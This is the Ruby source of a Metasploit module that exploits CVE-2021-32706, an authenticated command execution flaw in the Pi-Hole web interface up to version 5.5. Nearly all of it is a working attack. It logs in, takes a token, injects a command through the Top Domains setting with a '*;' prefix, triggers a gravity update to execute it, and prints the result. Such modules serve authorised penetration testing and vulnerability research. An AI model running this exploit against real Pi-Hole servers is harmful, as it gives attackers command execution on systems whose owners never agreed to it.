Pi-Hole Top Domains API Authenticated Exec

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HTTP::Pihole  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Pi-Hole Top Domains API Authenticated Exec',        'Description' => %q{          This exploits a command execution in Pi-Hole Web Interface <= 5.5.          The Settings > API/Web inetrace page contains the field          Top Domains/Top Advertisers which is validated by a regex which does not properly          filter system commands, which can then be executed by calling the gravity          functionality.  However, the regex only allows a-z, 0-9, _.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'SchneiderSec' # original PoC, discovery        ],        'References' => [          ['URL', 'https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-5cm9-6p3m-v259'],          ['CVE', '2021-32706']        ],        'Targets' => [          [ 'Automatic Target', {}]        ],        'DisclosureDate' => '2021-08-04',        'Privileged' => true,        'Platform' => ['php'],        'Arch' => ARCH_PHP,        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [],          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]        }      )    )    register_options(      [        Opt::RPORT(80),        OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']),        OptString.new('COMMAND', [ true, 'The command to execute. Only 0-9, a-z, _ are allowed.', 'pwd']),      ]    )  end  def check    begin      _version, web_version, _ftl = get_versions      if web_version.nil?        print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")        return Exploit::CheckCode::Unknown      end      if web_version && Rex::Version.new(web_version) <= Rex::Version.new('5.6')        vprint_good("Web Interface Version Detected: #{web_version}")        return Exploit::CheckCode::Appears      else        vprint_bad("Web Interface Version Detected: #{web_version}")        return Exploit::CheckCode::Safe      end    rescue ::Rex::ConnectionError      print_error("#{peer} - Could not connect to the web service")      return Exploit::CheckCode::Unknown    end    Exploit::CheckCode::Safe  end  def validate_command    # https://github.com/pi-hole/AdminLTE/blob/v5.3.1/scripts/pi-hole/php/savesettings.php#L71    unless /^((\*.)?[_a-z\d](-*[_a-z\d])*)(\.([_a-z\d](-*[a-z\d])*))*(\.([_a-z\d])*)*$/i =~ datastore['COMMAND']      fail_with(Failure::BadConfig, 'COMMAND invalid. only _, a-z, 0-9 are allowed.')    end  end  def run    validate_command    if check != Exploit::CheckCode::Appears      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')    end    # check if we need a login    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),      'vars_get' => {        'tab' => 'api'      },      'keep_cookies' => true    )    # check if we got hit by a login prompt    if res && res.body.include?('Sign in to start your session')      res = login(datastore['PASSWORD'])      fail_with(Failure::BadConfig, 'Incorrect Password') if res.nil?    end    token = get_token('api')    if token.nil?      fail_with(Failure::UnexpectedReply, 'Unable to find token')    end    print_status("Using token: #{token}")    print_status('Sending payload request')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),      'vars_get' => {        'tab' => 'api'      },      'vars_post' => {        'domains' => "*;#{datastore['COMMAND']}",        'clients' => '',        'querylog-permitted' => 'on',        'querylog-blocked' => 'on',        'field' => 'API',        'token' => token      },      'keep_cookies' => true,      'method' => 'POST'    )    fail_with(Failure::UnexpectedReply, 'Unable to save settings') unless res && res.body.include?('The API settings have been updated')    res = update_gravity    fail_with(Failure::UnexpectedReply, 'Unable to update gravity') unless res && res.code == 200    # first line after our output should be: data:   [i] Neutrino emissions detected...    output = res.body.split('   [i] ')[0]    # remove beginning of line with data on it    output = output.gsub(/^data:/, '')    # removing last line since its empty    output = output.split[0..]    print_good(output.join("\n"))  endend